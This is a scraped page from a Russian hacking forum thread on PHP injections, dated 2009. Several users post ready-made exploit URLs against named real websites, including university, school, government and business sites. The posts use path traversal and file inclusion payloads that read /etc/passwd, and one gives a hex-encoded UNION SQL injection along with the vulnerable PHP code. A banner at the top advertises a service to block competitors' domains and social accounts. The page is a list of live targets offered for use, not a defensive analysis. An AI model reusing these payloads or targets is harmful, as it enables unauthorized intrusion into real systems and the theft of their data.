PHP Иньекции — ANTICHAT Forum

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
PHP Иньекции

Страница 97 из 143

Опции темы

Поиск в этой теме

Опции просмотра

#961

30.08.2009, 22:46

edge911

Участник форума

Регистрация: 21.02.2009

Сообщений: 228

Провел на форуме:
2175726

Репутация: 368

http://pvp-game.ru/index.php?act=../index цикл index.php

#962

07.09.2009, 20:16

ph1l1ster

Постоянный

Регистрация: 11.03.2008

Сообщений: 347

Провел на форуме:
2075230

Репутация: 462

Думаю лучше к php иньекции отнести..хотя гугл говорит как sql иньекцию дак боян, но всё равно баг в другом скрипте!)

Интересная скуля, берёт имя файла из БД и даёт его на загрузку. (Я лично первый раз такое встречаю)

Код:

http://www.ces.fau.edu/OWLS08/presentations/presentations.php?id=-24+union+select+version()--

Идёт файл на загрузку, в имени файла вывод:

5.0.51a-3ubuntu5.4

подставим своё значение:
magic qutes = on, поэжтому захексим

Код:

http://www.ces.fau.edu/OWLS08/presentations/presentations.php?id=-24+union+select+0x2f6574632f706173737764--

И скачиваем /etc/passwd

presentations.php

PHP код:


		
			
    error_reporting(0);

    mysql_connect("localhost","*","*");

    mysql_select_db( "owls08" );

    error_reporting(1);



    $id = mysql_real_escape_string( $_REQUEST['id'] );



    $query="SELECT file from presentations where id=$id";

    $result = mysql_query( $query ) or die( mysql_error() );

    $row = mysql_fetch_array( $result );



    $file = $row['file'];

    

    header("Pragma: public");

    header("Expires: 0");

    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");



    header("Content-Type: application/force-download");

    header( "Content-Disposition: attachment; filename=".basename($file));

    header("Content-Transfer-Encoding: binary");

    header("Content-Length: ".filesize($file));

    header( "Content-Description: File Transfer");

    @readfile($file);

#963

13.09.2009, 04:16

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

Провел на форуме:
5386281

Репутация: 1177

http://piecero.awardspace.us/index.php?page=../../../../../../../../../../../etc/passwd
http://www.mvhs.sad3.k12.me.us/sad3/mves/site.php?page=../../../../../../../../../../../etc/passwd

#964

13.09.2009, 10:42

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

Провел на форуме:
12942062

Репутация: 1550

Код:

http://www.duma.gov.ru/index.jsp?t=./index.jsp

#965

13.09.2009, 13:46

DFrost

Познающий

Регистрация: 05.06.2009

Сообщений: 41

Провел на форуме:
258796

Репутация: 72

Код:

http://www.summerschoolalpbach.at/index.php?file=index.php

Код:

http://www.b2match.com/watervienna09/index.php?file=index.php

Код:

http://www.autoday2009.sk/index.php?file=../../../../../../../../../../../etc/passwd

Последний раз редактировалось DFrost; 13.09.2009 в 14:29..

#966

15.09.2009, 00:29

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

Провел на форуме:
5386281

Репутация: 1177

http://sdm.mit.edu/index.php?fileName=index.php

#967

16.09.2009, 21:13

Calcutta

Постоянный

Регистрация: 06.08.2007

Сообщений: 347

Провел на форуме:
2584838

Репутация: 770

http://stroycement.ru/stat.php?p=../../../../etc/passwd

#968

19.09.2009, 10:09

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

Провел на форуме:
4358210

Репутация: 2017

http://dnfo.ru/page.php?p=../page
http://www.kamp.ru/page.php?p=page&board=1

Последний раз редактировалось HAXTA4OK; 19.09.2009 в 10:22..

#969

19.09.2009, 19:05

DFrost

Познающий

Регистрация: 05.06.2009

Сообщений: 41

Провел на форуме:
258796

Репутация: 72

European investment banking firm

Код:

http://www.druekerco.com/index.php?folder=Career&page=../../../../../../etc/hosts.lpd

Последний раз редактировалось DFrost; 19.09.2009 в 21:50..

#970

26.09.2009, 00:45

DeepBlue7

Познающий

Регистрация: 02.01.2009

Сообщений: 90

Провел на форуме:
390073

Репутация: 44

http://eminima.org/safepup/index.php?file=../../../../../../../../../../../etc/passwd

Последний раз редактировалось jokester; 26.09.2009 в 00:53.. Причина: b2match.com БОЯН

Страница 97 из 143

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Books	PSalm69	Избранное	273	13.02.2016 01:24
Books PHP	FRAGNATIC	PHP	186	21.02.2010 02:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход